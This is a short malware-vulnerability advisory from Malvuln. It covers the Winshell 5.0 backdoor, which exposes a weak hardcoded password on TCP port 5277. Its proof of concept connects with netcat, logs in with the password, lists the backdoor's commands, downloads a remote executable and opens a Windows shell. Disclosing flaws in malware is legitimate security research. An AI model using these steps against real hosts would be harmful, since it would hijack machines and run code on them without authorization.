Backdoor.Win32.Winshell.5_0 MVID-2022-0633 Hardcoded Credential

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/5bc5f72d19019a2fa3b75896e82ae1e5.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Winshell.5_0  
Vulnerability: Weak Hardcoded Credentials  
Description: The malware is UPX packed, listens on TCP port 5277 and requires authentication for remote access. However, the password "123456789" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.  
Family: Winshell  
Type: PE  
MD5: 5bc5f72d19019a2fa3b75896e82ae1e5  
Vuln ID: MVID-2022-0633  
Disclosure: 09/06/2022  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 5277  
Password:123456789  
  
WinShell v5.0 (C)2002 janker.org  
  
? for help  
CMD>?  
  
i Install  
r Remove  
p Path  
b reBoot  
d shutDown  
s Shell  
x eXit  
q Quit  
  
Download:  
CMD>http://.../srv.exe  
  
? for help  
CMD>s  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\dump>  
  
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`